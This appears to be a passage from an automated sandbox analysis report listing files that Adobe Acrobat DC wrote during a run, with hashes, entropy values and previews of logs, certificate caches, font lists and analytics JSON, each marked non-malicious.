SHA-512:	2CDE4DB340B4A03C5772AD3F75BB23143FBBB69CD5AE12873371D9997CF3B476C4609226DADBAF0B7C56C1B35368FE905DB771514867C734DBABBE9622B50851
Malicious:	false
Preview:	2025/01/10-20:15:57.012 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:15:57.047 1d3c Recovering log #3.2025/01/10-20:15:57.054 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444585626088493
Encrypted:	false
SSDEEP:	384:yezci5tciBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r7s3OazzU89UTTgUL
MD5:	55845885E2D465C46F1C8DF4B05A7601
SHA1:	23A49A2D9AFD194FB243DEA11CC010C5215BBA4E
SHA-256:	AFF5D9719496DE910C9ACFE9D3BAFED84B1A0103DD1D11E98BDF014C166C8163
SHA-512:	7B6DFAE3EF7DD7F14D82E43066BB12161191B063215548ACDD5953D99A0052D03136AE1070EEF7406EED93BB358000FD392445439CC925B2D4D09407587EBC8D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.77280386265801
Encrypted:	false
SSDEEP:	48:7Mhp/E2ioyVkioy9oWoy1Cwoy1IKOioy1noy1AYoy1Wioy1hioybioySoy1noy1s:7KpjukF3XKQ33b9IVXEBodRBkU
MD5:	3A667E8FD3549293BD7FB6B98DAF463D
SHA1:	7B3415AD7DC27B42E9FEF49902CA65DB175876CE
SHA-256:	6D0ED85AE821C5DAAD2275ACAD856AE0DDC28A661D55FC068D2E9C0995E733D8
SHA-512:	49E056C3F11104338A833210FB0EFFC4DE83E8A5910731D9F0870768229919C61AD82AC5F89C3939CF8D822D5CAEBD0B7BA7C86A8ED815FFBADD01B2A9D58D78
Malicious:	false
Preview:	.... .c.....!.zE...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFklUcqjKNttfllXlE/HT8k1fhttNNX8RolJuRdxLlGB9lQRYwpDdt:kKNNKPeT88pVNMa8RdWBwRd
MD5:	FC0B1DC0ABAE407724766F73E1B30B81
SHA1:	E02A72ABB3B425F87688B6D869DE351B4F744017
SHA-256:	9B6BBF54F38E8EB5DBE2F207EEAF492501B2F0D7B80D61D37662ED80630ED5E6
SHA-512:	EF73BAF6BECAE9C3CA5BE4A950C54464B2B1287AD0F3C8F08261815EB9DFFCBDDCB7DBCEC93FCB810D7FA73CD2D4CAC99D3903D86393FDCE663CB3365F25A0C3
Malicious:	false
Preview:	p...... ........gy=b.c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2274838221270206
Encrypted:	false
SSDEEP:	6:kKiji/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:qG/iDImsLNkPlE99SNxAhUe/3
MD5:	EA9A21EC5F95C13FE352B4F5D7F52C17
SHA1:	2A9A598153EAF1E1F9658574D339AB896BA75C10
SHA-256:	760AE8127AC441A7857B4EC5EDBE9651D40FBA88BC4DA829FC482E5D250D1EB7
SHA-512:	ABB195A50B58913560050D8EDF95BB75B47D392A4B86CF12CDF5F27405F2CE7485DD74D8D76B4E18649B7053AE4384E2BFB871B5CD6D494050E6A10991CC38DB
Malicious:	false
Preview:	p...... .........#.t.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4588

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4588

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3815828616463905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJM3g98kUwPeUkwRe9:YvXKXa1IVJEZc0vyMGMbLUkee9
MD5:	9A22F3670366E708A086C7FA53C5A542
SHA1:	DE2DE105DDBF35E4B87EA6C9FBF01BCA864BA40B
SHA-256:	5C5075602B90020E83427B0706EAB4A8C8E633D2FB5DA7F0F36093880A8BB346
SHA-512:	E215E38040E76D7E2B8E99FA10354BD10F5E4E060D85563200996FFA3C5B563B3FDAF59F5C9401CFDCD4B3AE60D1763A62A69C464A632695269F84F8819E33B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.331640350348532
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJfBoTfXpnrPeUkwRe9:YvXKXa1IVJEZc0vyMGWTfXcUkee9
MD5:	7FA6DFA37593D89447277665D75D6B70
SHA1:	0A8CCB25759EBE47AC159DDD20518ADB8DB48BE8
SHA-256:	E106EA137938C14107DD3A08C1E161AC6555326E6A8D7BFA84F7354D139DD9D6
SHA-512:	8EFD2848449D402B09875BD3397DEFEC5B8F8777BC35862DC18426C7F22BA020D8F2DB8C197D2F2509672CEE38063793F923B57E1D76AC301B4F9C5F4C8AC778
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.310188666874536
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJfBD2G6UpnrPeUkwRe9:YvXKXa1IVJEZc0vyMGR22cUkee9
MD5:	43763B0EDECE92233CA9DB1CEFDC3298
SHA1:	97C79F47E06FCF006A7DD24AB614FE504B5657D6
SHA-256:	BCE69917A175B281A2C09381281B6504CECA3ED0D86B0EF8524EE9A6CCFB0404
SHA-512:	73E306E32339F820C7E10B76367BE7CA1DA9AAFB33BC975EE54203B1D8736629AC980C91DD68063FFD28FE0E8D731F43124DDBD118D02AD4406D1AC02F66C6C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.369232647677663
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJfPmwrPeUkwRe9:YvXKXa1IVJEZc0vyMGH56Ukee9
MD5:	71906E36BDE0556E51D77BFD0721669F
SHA1:	05F77D29D272AB72D512713F45E6FAD2F5B86891
SHA-256:	FEAB72BFE4EBA824DB84460492B29DA03520E6B076F88E0B3A44E3690BA06D44
SHA-512:	64B05F727407CA40CF6C139130EF9C926CD6507AB99AE7150D6854B209D23F6F3C33E372773609126173B46F042EC72D4750FCB4C5997356E870249669C765B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691808623073863
Encrypted:	false
SSDEEP:	24:Yv6Xo6EzvSpLgE9cQx8LennAvzBvkn0RCmK8czOCCSH:Yvdahgy6SAFv5Ah8cv/H
MD5:	C9EE58F7131873FC9ED9DD28C515690B
SHA1:	6EE1476A3113B37392AA81E3B750CDCC379471C5
SHA-256:	90C13D4FDD1472623E66A108131458DE9425611AD76DAE87CDB34672865B03F3
SHA-512:	1EEF9790B14E04570576EE04D241133C0F40E8475B45704C563EF0041C05E5C0E828BBD11EDD71EF107ECBC9B9C3DC75FDA6B64918142D53A024C0C5AB426336
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316625596787612
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJf8dPeUkwRe9:YvXKXa1IVJEZc0vyMGU8Ukee9
MD5:	CC36E0CDF678A24240B87E8328321DC1
SHA1:	C465659222F2DB8057E3D2B7FCB3AC62B353940D
SHA-256:	B4642B393D0DD884429EC0C947365C3963E5DBE4AB931B0C204B16C5FB4FCE87
SHA-512:	6100BED32C13EC5515825AFB235E29BFD60D481A13943452C4114D753A5C5A2D061002F041A3BCEEBF9A17EDFBA388FEB8C5FA327B58D04C82322CEB9E04E1D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.320046424104598
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJfQ1rPeUkwRe9:YvXKXa1IVJEZc0vyMGY16Ukee9
MD5:	E12118FD4711B658946E1BE72E169E3A
SHA1:	5002EBA8AADC84637B50E70D74EE4F6E972058BC
SHA-256:	C46012300D66669EA9682CAF1E7C07B51A579A2A9203F76EA891090D29A6AB35
